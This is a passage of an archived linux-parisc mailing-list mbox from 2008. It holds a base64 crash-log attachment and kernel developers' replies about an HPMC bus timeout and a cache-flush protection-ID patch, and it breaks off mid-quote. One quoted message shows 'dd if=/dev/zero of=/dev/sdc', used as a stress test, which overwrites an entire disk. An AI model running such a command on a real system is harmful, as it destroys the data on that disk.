MDAwMDAwMDUxYTAwMCAgMDAwMDAwMDA3ZGY2ODAwMCAgMDAwMDAwMDAwMDA0NDAyMSAgMDAwMDAw
MDBmMDQxMjAwMAoyOC0zMSAgIDAwMDAwMDAwNTU1NTU1NTUgIDAwMDAwMDAwNTU1NTU1NTUgIDAw
MDAwMDAwMmYyODQwMDAgIDAwMDAwMDAwMTExMTExMTEKU3BhY2UgUmVnaXN0ZXJzIDAgLSA3Cgow
MC0wMyAgIDAwMDAwMDAwICAgICAgICAgIDAwMDAwN2NkICAgICAgICAgIDAwMDAwMDAwICAgICAg
ICAgIDAwMDAwN2NkCjA0LTA3ICAgMDAwMDAwMDAgICAgICAgICAgMDAwMDAwMDAgICAgICAgICAg
MDAwMDAwMDAgICAgICAgICAgMDAwMDAwMDAKCgpJSUEgU3BhY2UgICAgICAgICAgICAgICAgICAg
ID0gMHgwMDAwMDAwMDAwMDAwMDAwCklJQSBPZmZzZXQgICAgICAgICAgICAgICAgICAgPSAweDAw
MDAwMDAwMDA2NzliZGMKQ2hlY2sgVHlwZSAgICAgICAgICAgICAgICAgICA9IDB4MjAwMDAwMDAK
Q1BVIFN0YXRlICAgICAgICAgICAgICAgICAgICA9IDB4OWUwMDAwMDQKQ2FjaGUgQ2hlY2sgICAg
ICAgICAgICAgICAgICA9IDB4MDAwMDAwMDAKVExCIENoZWNrICAgICAgICAgICAgICAgICAgICA9
IDB4MDAwMDAwMDAKQnVzIENoZWNrICAgICAgICAgICAgICAgICAgICA9IDB4MDAzMDEwM2IKQXNz
aXN0cyBDaGVjayAgICAgICAgICAgICAgICA9IDB4MDAwMDAwMDAKQXNzaXN0IFN0YXRlICAgICAg
ICAgICAgICAgICA9IDB4MDAwMDAwMDAKUGF0aCBJbmZvICAgICAgICAgICAgICAgICAgICA9IDB4
MDAwMDAwMDAKU3lzdGVtIFJlc3BvbmRlciBBZGRyZXNzICAgICA9IDB4MDAwMDAwZmZmYjgwNzA0
OApTeXN0ZW0gUmVxdWVzdG9yIEFkZHJlc3MgICAgID0gMHhmZmZmZmZmZmZmZmEwMDAwCgpGbG9h
dGluZy1Qb2ludCBSZWdpc3RlcnMgMCAtIDMxCjAwLTAzICAgMDAwMDAwMWYwMDAwMDAwMCAgMDAw
MDAwMDAwMDAwMDAwMCAgMDAwMDAwMDAwMDAwMDAwMCAgMDAwMDAwMDAwMDAwMDAwMAowNC0wNyAg
IDNlNTA1OGFmMGY0ZGQyNTIgIGJmNGU2OGEwZDM0OWJlOTAgIDAwMDAwMDAwMDAwMDAwMDAgIGJm
NGU2ZWVhODAwMDAwMDAKMDgtMTEgICAwMDAwMDAwNTM4NDAwMDAwICAwMDAwMDAwMjhmODEyYmM4
ICA4ZjgxMmJjMDAwMDAwMDAyICAxMDU2ZjBiMDAwMDAwMDAzCjEyLTE1ICAgNTU1NTU1NTU1NTU1
NTU1NSAgNTU1NTU1NTU1NTU1NTU1NSAgNTU1NTU1NTU1NTU1NTU1NSAgNTU1NTU1NTU1NTU1NTU1
NQoxNi0xOSAgIDU1NTU1NTU1NTU1NTU1NTUgIDU1NTU1NTU1NTU1NTU1NTUgIDU1NTU1NTU1NTU1
NTU1NTUgIDU1NTU1NTU1NTU1NTU1NTUKMjAtMjMgICA1NTU1NTU1NTU1NTU1NTU1ICA1NTU1NTU1
NTU1NTU1NTU1ICAwMDAwMDAwMDAwMDAwMDAwICAwMDAwMDAwMDAwMDAwMDAwCjI0LTI3ICAgMDAw
MDAwMDAwMDAwMDAwMCAgMDAwMGZmOTdiMjJhMDliNiAgMDAwMDAwMDAwMDAwMDAwMCAgM2ZmMDAw
MDAwMDAwMDAwMAoyOC0zMSAgIDAwMTAwMDAwMDAwMTM3ZjIgIDEwNGUwZGE0MTAxODcxYTAgIDAw
MDAwMDAxMDAwMDAyMjggIDhmODIwMjAwMTAxMTY1ZjQKCic5MDAwLzc4NSBCLEMsSiBXb3Jrc3Rh
dGlvbiBVbmFyY2hpdGVjdGVkIChwZXItQ1BVKScsIHJldiAxLCAxNDAgYnl0ZXM6CgpDaGVjayBT
dW1tYXJ5ICAgICAgICAgICAgICAgID0gMHhjYjgxMDQxMDA4MDAwMDAwCkF2YWlsYWJsZSBNZW1v
cnkgICAgICAgICAgICAgPSAweDAwMDAwMDAwODAwMDAwMDAKQ1BVIERpYWdub3NlIFJlZ2lzdGVy
IDIgICAgICA9IDB4MDMwMDAwMDAwMDAwMDAwNApDUFUgU3RhdHVzIFJlZ2lzdGVyIDAgICAgICAg
ID0gMHgyNDIwYzIwMDAwMDAwMDAwCkNQVSBTdGF0dXMgUmVnaXN0ZXIgMSAgICAgICAgPSAweDgw
MDIwMDAwMDAwMDAwMDAKU0FERCBMT0cgICAgICAgICAgICAgICAgICAgICA9IDB4YzEwZjAwZmZm
YjgwNzA0OApSZWFkIFNob3J0IExPRyAgICAgICAgICAgICAgID0gMHhjMWFmMDBmZmZiODA3MDQ4
CkVSUk9SX1NUQVRVUyAgICAgICAgICAgICAgICAgPSAweDAwMDAwMDAwMDAxMDAwMTAKTUVNX0FE
RFIgICAgICAgICAgICAgICAgICAgICA9IDB4MDAwMDAxZmYzZmZmZmZmZgpNRU1fU1lORCAgICAg
ICAgICAgICAgICAgICAgID0gMHgwMDAwMDAwMDAwMDAwMDAwCk1FTV9BRERSX0NPUlIgICAgICAg
ICAgICAgICAgPSAweDAwMDAwMWZmM2ZmZmZmZmYKTUVNX1NZTkRfQ09SUiAgICAgICAgICAgICAg
ICA9IDB4MDAwMDAwMDAwMDAwMDAwMApSVU5fREFUQV9ISUdIICAgICAgICAgICAgICAgID0gMHhj
MWJmZjBmZmZlZDA4MDQwClJVTl9EQVRBX0xPVyAgICAgICAgICAgICAgICAgPSAweGMxYmZmMGZm
ZmVkMDgwNDAKUlVOX0NUUkwgICAgICAgICAgICAgICAgICAgICA9IDB4MDAwMDAyMWMwMDAwMTQx
OApSVU5fQUREUiAgICAgICAgICAgICAgICAgICAgID0gMHhjMWJmZjBmZmZlZDA4MDQwClN5c3Rl
bSBSZXNwb25kZXIgUGF0aCAgICAgICAgPSAweDAwZmZmZmZmMGEwMTA0MDAKCgpIUE1DIFBJTSBB
bmFseXNpcyBJbmZvcm1hdGlvbjoKClRpbWVzdGFtcCA9CiAgTW9uIERlYyAgMjIgMTc6NTE6NDgg
R01UIDIwMDggICAgKDIwOjA4OjEyOjIyOjE3OjUxOjQ4KQoKCic5MDAwLzc4NSBCLEMsSiBXb3Jr
c3RhdGlvbiBIUE1DIFBJTSBBbmFseXNpcyAocGVyLUNQVSknLCByZXYgMCwgMTMwNCBieXRlczoK
CkEgRGF0YSBJL08gRmV0Y2ggVGltZW91dCBvY2N1cnJlZCB3aGlsZSBDUFUgMCB3YXMKcmVxdWVz
dGluZyBpbmZvcm1hdGlvbiBmcm9tIGEgZGV2aWNlIGF0IHRoZSBwYXRoIDEwLzEvNC8wIChQQ0kg
c2xvdCA0KS4KCgpNZW1vcnkvSU8gQ29udHJvbGxlciBFcnJvciBBbmFseXNpcyBJbmZvcm1hdGlv
bjoKClRoZSBNZW1vcnkvSU8gQ29udHJvbGxlciBvbmx5IG9ic2VydmVkIHRoZSBCcm9hZGNhc3Qg
RXJyb3IuICBJdCBkaWQgbm90IGxvZwphbnkgYWRkaXRpb25hbCBpbmZvcm1hdGlvbiBhYm91dCB0
aGUgSFBNQy4KCk1lbW9yeSBFcnJvciBMb2cgSW5mb3JtYXRpb246CgpUaW1lc3RhbXAgPQogIE1v
biBEZWMgIDIyIDE3OjUxOjQ4IEdNVCAyMDA4ICAgICgyMDowODoxMjoyMjoxNzo1MTo0OCkKCgon
OTAwMC83ODUgQixDLEogV29ya3N0YXRpb24gTWVtb3J5IEVycm9yIExvZycsIHJldiAwLCA2NCBi
eXRlczoKCiAgIE5vIG1lbW9yeSBlcnJvcnMgbG9nZ2VkCgoKSS9PIE1vZHVsZSBFcnJvciBMb2cg
SW5mb3JtYXRpb246CgpUaW1lc3RhbXAgPQogIE1vbiBEZWMgIDIyIDE3OjUxOjQ4IEdNVCAyMDA4
ICAgICgyMDowODoxMjoyMjoxNzo1MTo0OCkKCgonOTAwMC83ODUgQixDLEogV29ya3N0YXRpb24g
SU8gRXJyb3IgTG9nJywgcmV2IDAsIDIyOCBieXRlczoKCiBSb3BlICAgICBXb3JkMSAgICAgICAg
V29yZDIgICAgICAgICAgICBXb3JkMwotLS0tLS0gLS0tLS0tLS0tLS0tIC0tLS0tLS0tLS0tLQog
ICAwICAgIDB4MDAwMDAwMDAgICAweDBlMGNjMDA5ICAgMHgwMDAwMDAwMGZlZDMwMDQ4CiAgIDEg
ICAgMHgwMDAxYzgwMCAgIDB4MWUwY2MwMDkgICAweDAwMDAwMDAwZmI4MDcwMDAKICAgMiAgICAt
LS0tLS0tLS0tICAgMHgyZTBjYzAwOSAgIC0tLS0tLS0tLS0tLS0tLS0tLQogICAzICAgIC0tLS0t
LS0tLS0gICAweDNlMGNjMDA5ICAgLS0tLS0tLS0tLS0tLS0tLS0tCiAgIDQgICAgMHgwMDAwMDAw
MCAgIDB4NGUwY2MwMDkgICAweDAwMDAwMDAwZmVkMzgwNDgKICAgNSAgICAtLS0tLS0tLS0tICAg
MHg1ZTBjYzAwOSAgIC0tLS0tLS0tLS0tLS0tLS0tLQogICA2ICAgIDB4MDAwMDAwMDAgICAweDZl
MGNjMDA5ICAgMHgwMDAwMDAwMGZlZDNjMDQ4CiAgIDcgICAgLS0tLS0tLS0tLSAgIDB4N2UwY2Mw
MDkgICAtLS0tLS0tLS0tLS0tLS0tLS0K

--MP_/GIsVd/7G5/+PQQvin=ak1+H--
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:14 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@infradead.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: HPMC bus timeout on C3600
Date: Mon, 22 Dec 2008 16:47:43 -0500
Lines: 26
Approved: news@gmane.org
Message-ID: <20081222214743.GC30144@bombadil.infradead.org>
References: <20081220133915.4c167e09@bleh.bxl.tuxicoman.be> <20081220221653.GA12880@bombadil.infradead.org> <20081220222100.GB12880@bombadil.infradead.org> <20081221081206.GC2047@colo.lackof.org> <20081222224023.2488f2ef@tuxicoman.be>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1229982481 6957 80.91.229.12 (22 Dec 2008 21:48:01 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 22 Dec 2008 21:48:01 +0000 (UTC)
Cc: Grant Grundler <grundler@parisc-linux.org>,
	Kyle McMartin <kyle@infradead.org>,
	linux-parisc@vger.kernel.org
To: Guy Martin <gmsoft@tuxicoman.be>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Dec 22 22:49:06 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LEseA-0005Fy-Dp
	for glpp-linux-parisc@gmane.org; Mon, 22 Dec 2008 22:49:06 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754523AbYLVVru (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 22 Dec 2008 16:47:50 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1754240AbYLVVru
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Mon, 22 Dec 2008 16:47:50 -0500
Original-Received: from bombadil.infradead.org ([18.85.46.34]:40842 "EHLO
	bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1754093AbYLVVru (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 22 Dec 2008 16:47:50 -0500
Original-Received: from kyle by bombadil.infradead.org with local (Exim 4.68 #1 (Red Hat Linux))
	id 1LEscp-0007he-JE; Mon, 22 Dec 2008 21:47:43 +0000
Content-Disposition: inline
In-Reply-To: <20081222224023.2488f2ef@tuxicoman.be>
User-Agent: Mutt/1.5.18 (2008-05-17)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1020
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1020>

On Mon, Dec 22, 2008 at 10:40:23PM +0100, Guy Martin wrote:
> 
> Kyle, Grant,
> 
> Thanks for your help but being unable to reproduce the issue at will
> makes it very difficult to make any progress. The fault didn't occurred
> those past two days.
> 
> So I decided to go another way. I've plugged in one of my well working
> sata card and did a lot of IO using "dd if=/dev/zero of=/dev/sdc".
> 
> I'm not sure if this would trigger the same problem but it does trigger
> an HPMC Bus timeout too after a few hundreds megs. This time, the PCI
> slot pointed by the output is the sata card itself in slot 4.
> Regarding GR02, it seems to point somewhere in user space.
> 
> Regarding Kyle's patch, it didn't changed anything but since the fault
> isn't at inw(), I'm not sure it still even makes sens to apply it.
> 

you won't know for sure, since readl/etc are inlines into the caller...
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:15 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] [RFC] fix kernel crash (protection id trap) when
Date: Mon, 22 Dec 2008 16:43:36 -0600
Lines: 46
Approved: news@gmane.org
Message-ID: <1229985816.3345.43.camel@localhost.localdomain>
References: <20081221172742.C1BB54E99@hiauly1.hia.nrc.ca>
	 <494EC89A.9000802@gmx.de>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1229985831 17385 80.91.229.12 (22 Dec 2008 22:43:51 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 22 Dec 2008 22:43:51 +0000 (UTC)
Cc: John David Anglin <dave@hiauly1.hia.nrc.ca>, kyle@infradead.org,
	linux-parisc@vger.kernel.org
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Dec 22 23:44:56 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LEtWB-0007TD-KU
	for glpp-linux-parisc@gmane.org; Mon, 22 Dec 2008 23:44:56 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754103AbYLVWnk (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 22 Dec 2008 17:43:40 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1754638AbYLVWnk
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Mon, 22 Dec 2008 17:43:40 -0500
Original-Received: from accolon.hansenpartnership.com ([76.243.235.52]:34846 "EHLO
	accolon.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1754103AbYLVWnk (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 22 Dec 2008 17:43:40 -0500
Original-Received: from localhost (localhost [127.0.0.1])
	by accolon.hansenpartnership.com (Postfix) with ESMTP id 76C508144;
	Mon, 22 Dec 2008 16:43:38 -0600 (CST)
Original-Received: from accolon.hansenpartnership.com ([127.0.0.1])
	by localhost (redscar.int.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id IxVoABR9tTRE; Mon, 22 Dec 2008 16:43:37 -0600 (CST)
Original-Received: from [153.66.150.222] (mulgrave-w.int.hansenpartnership.com [153.66.150.222])
	by accolon.hansenpartnership.com (Postfix) with ESMTP id 3BA2A7F98;
	Mon, 22 Dec 2008 16:43:37 -0600 (CST)
In-Reply-To: <494EC89A.9000802@gmx.de>
X-Mailer: Evolution 2.22.3.1 (2.22.3.1-1.fc9) 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1021
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1021>

On Sun, 2008-12-21 at 23:52 +0100, Helge Deller wrote:
> John David Anglin wrote:
> >> I think the bug may be in flush_user_cache_page_non_current.  It hijacks
> >> sr3 temporarily and I don't think cr8 is updated when this is done.  The
> >> switch may need to be atomic.
> > 
> > The following might fix the protection ID bug.
> > 
> > --- cache.c.orig	2008-07-17 21:24:46.000000000 -0400
> > +++ cache.c	2008-12-21 11:53:54.000000000 -0500
> > @@ -312,14 +312,14 @@
> >  
> >  	/* make us current */
> >  	mtctl(__pa(vma->vm_mm->pgd), 25);
> > -	mtsp(vma->vm_mm->context, 3);
> > +	load_context(vma->vm_mm->context);
> >  
> >  	flush_user_dcache_page(vmaddr);
> >  	if(vma->vm_flags & VM_EXEC)
> >  		flush_user_icache_page(vmaddr);
> >  
> >  	/* put the old current process back */
> > -	mtsp(space, 3);
> > +	load_context(space);
> 
> I came to the similar conclusion and tried exactly this patch earlier
> today. It didn't fixed the problem (although I had the feeling that the
> bug didn't appeared as often then).

Actually, it should bug more often.  This function:
flush_user_cache_page_non_current() is very rarely called (which is
hopefully why you don't see an increase in bugs).  However, this is a
kernel function ... if you call load_context() here, you'll get the user
protection IDs in the register and it will immediately fault when it
returns to the kernel.  All it should be doing (which is what it
currently does) is to set up sr3 to allow the kernel to poke into a user
address space, which is the design of the function.

James


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:15 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] [RFC] fix kernel crash (protection id trap) when
Date: Mon, 22 Dec 2008 16:46:30 -0600
Lines: 26
Approved: news@gmane.org
Message-ID: <1229985990.3345.47.camel@localhost.localdomain>
References: <20081219212906.GG8945@bombadil.infradead.org>
	 <20081221152017.102C84F19@hiauly1.hia.nrc.ca>
	 <20081221222005.GB30144@bombadil.infradead.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1229986008 17909 80.91.229.12 (22 Dec 2008 22:46:48 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 22 Dec 2008 22:46:48 +0000 (UTC)
Cc: John David Anglin <dave@hiauly1.hia.nrc.ca>, deller@gmx.de,
	linux-parisc@vger.kernel.org
To: Kyle McMartin <kyle@infradead.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Dec 22 23:47:52 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LEtZ0-0000ZJ-4n
	for glpp-linux-parisc@gmane.org; Mon, 22 Dec 2008 23:47:50 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754162AbYLVWqf (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 22 Dec 2008 17:46:35 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1754354AbYLVWqf
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Mon, 22 Dec 2008 17:46:35 -0500
Original-Received: from accolon.hansenpartnership.com ([76.243.235.52]:59021 "EHLO
	accolon.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1753768AbYLVWqe (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 22 Dec 2008 17:46:34 -0500
Original-Received: from localhost (localhost [127.0.0.1])
	by accolon.hansenpartnership.com (Postfix) with ESMTP id E44CA8144;
	Mon, 22 Dec 2008 16:46:32 -0600 (CST)
Original-Received: from accolon.hansenpartnership.com ([127.0.0.1])
	by localhost (redscar.int.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id D8AO2NSa7pD7; Mon, 22 Dec 2008 16:46:31 -0600 (CST)
Original-Received: from [153.66.150.222] (mulgrave-w.int.hansenpartnership.com [153.66.150.222])
	by accolon.hansenpartnership.com (Postfix) with ESMTP id 26F067F98;
	Mon, 22 Dec 2008 16:46:31 -0600 (CST)
In-Reply-To: <20081221222005.GB30144@bombadil.infradead.org>
X-Mailer: Evolution 2.22.3.1 (2.22.3.1-1.fc9) 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1022
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1022>

On Sun, 2008-12-21 at 17:20 -0500, Kyle McMartin wrote:
> On Sun, Dec 21, 2008 at 10:20:16AM -0500, John David Anglin wrote:
> > > Honestly, I can't decide whether to apply this. It really should never
> > > happen in the kernel, since the kernel can guarantee it won't get the
> > > access rights failure (highest privilege level, and can set %sr and
> > > %protid to whatever it wants.)
> > 
> > I believe this change should be applied because we enable P and the
> > hardware can generate the exception.  Yes, it should never happen, but
> > the coding to prevent this occurring is very subtle.
> > 
> 
> If we're going to paper over a bug like this, we might as well just turn
> the P-bit off...

I'm afraid you can't.  The invisibility of the kernel space from user
space relies on this, as does quite a lot of the page protections.

James


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:15 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@infradead.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] [RFC] fix kernel crash (protection id trap) when
Date: Mon, 22 Dec 2008 17:46:55 -0500
Lines: 18
Approved: news@gmane.org
Message-ID: <20081222224655.GD30144@bombadil.infradead.org>
References: <20081221172742.C1BB54E99@hiauly1.hia.nrc.ca> <494EC89A.9000802@gmx.de> <1229985816.3345.43.camel@localhost.localdomain>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1229986058 18026 80.91.229.12 (22 Dec 2008 22:47:38 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 22 Dec 2008 22:47:38 +0000 (UTC)
Cc: Helge Deller <deller@gmx.de>,
	John David Anglin <dave@hiauly1.hia.nrc.ca>,
	kyle@infradead.org, linux-parisc@vger.kernel.org
To: James Bottomley <James.Bottomley@HansenPartnership.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Dec 22 23:48:43 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LEtZN-0000ZJ-Q6
	for glpp-linux-parisc@gmane.org; Mon, 22 Dec 2008 23:48:14 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754162AbYLVWq7 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 22 Dec 2008 17:46:59 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1754354AbYLVWq7
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Mon, 22 Dec 2008 17:46:59 -0500
Original-Received: from bombadil.infradead.org ([18.85.46.34]:47964 "EHLO
	bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1753768AbYLVWq6 (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 22 Dec 2008 17:46:58 -0500
Original-Received: from kyle by bombadil.infradead.org with local (Exim 4.68 #1 (Red Hat Linux))
	id 1LEtY7-0008UM-9L; Mon, 22 Dec 2008 22:46:55 +0000
Content-Disposition: inline
In-Reply-To: <1229985816.3345.43.camel@localhost.localdomain>
User-Agent: Mutt/1.5.18 (2008-05-17)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1023
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1023>

On Mon, Dec 22, 2008 at 04:43:36PM -0600, James Bottomley wrote:
> Actually, it should bug more often.  This function:
> flush_user_cache_page_non_current() is very rarely called (which is
> hopefully why you don't see an increase in bugs).  However, this is a
> kernel function ... if you call load_context() here, you'll get the user
> protection IDs in the register and it will immediately fault when it
> returns to the kernel.  All it should be doing (which is what it
> currently does) is to set up sr3 to allow the kernel to poke into a user
> address space, which is the design of the function.
> 

Well, it will work by accident, since the other 3 (or 7) prot id
registers will still be zeroed, since we only ever touch %cr8...
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:15 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@infradead.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] [RFC] fix kernel crash (protection id trap) when
Date: Mon, 22 Dec 2008 17:47:38 -0500
Lines: 27
Approved: news@gmane.org
Message-ID: <20081222224738.GE30144@bombadil.infradead.org>
References: <20081219212906.GG8945@bombadil.infradead.org> <20081221152017.102C84F19@hiauly1.hia.nrc.ca> <20081221222005.GB30144@bombadil.infradead.org> <1229985990.3345.47.camel@localhost.localdomain>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1229986086 18118 80.91.229.12 (22 Dec 2008 22:48:06 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 22 Dec 2008 22:48:06 +0000 (UTC)
Cc: Kyle McMartin <kyle@infradead.org>,
	John David Anglin <dave@hiauly1.hia.nrc.ca>, deller@gmx.de,
	linux-parisc@vger.kernel.org
To: James Bottomley <James.Bottomley@HansenPartnership.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Dec 22 23:49:11 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LEta4-0000ZJ-7y
	for glpp-linux-parisc@gmane.org; Mon, 22 Dec 2008 23:48:56 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754162AbYLVWrl (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 22 Dec 2008 17:47:41 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1753768AbYLVWrl
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Mon, 22 Dec 2008 17:47:41 -0500
Original-Received: from bombadil.infradead.org ([18.85.46.34]:32940 "EHLO
	bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1754162AbYLVWrk (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 22 Dec 2008 17:47:40 -0500
Original-Received: from kyle by bombadil.infradead.org with local (Exim 4.68 #1 (Red Hat Linux))
	id 1LEtYo-0008V1-QI; Mon, 22 Dec 2008 22:47:38 +0000
Content-Disposition: inline
In-Reply-To: <1229985990.3345.47.camel@localhost.localdomain>
User-Agent: Mutt/1.5.18 (2008-05-17)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1024
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1024>

On Mon, Dec 22, 2008 at 04:46:30PM -0600, James Bottomley wrote:
> On Sun, 2008-12-21 at 17:20 -0500, Kyle McMartin wrote:
> > On Sun, Dec 21, 2008 at 10:20:16AM -0500, John David Anglin wrote:
> > > > Honestly, I can't decide whether to apply this. It really should never
> > > > happen in the kernel, since the kernel can guarantee it won't get the
> > > > access rights failure (highest privilege level, and can set %sr and
> > > > %protid to whatever it wants.)
> > > 
> > > I believe this change should be applied because we enable P and the
> > > hardware can generate the exception.  Yes, it should never happen, but
> > > the coding to prevent this occurring is very subtle.
> > > 
> > 
> > If we're going to paper over a bug like this, we might as well just turn
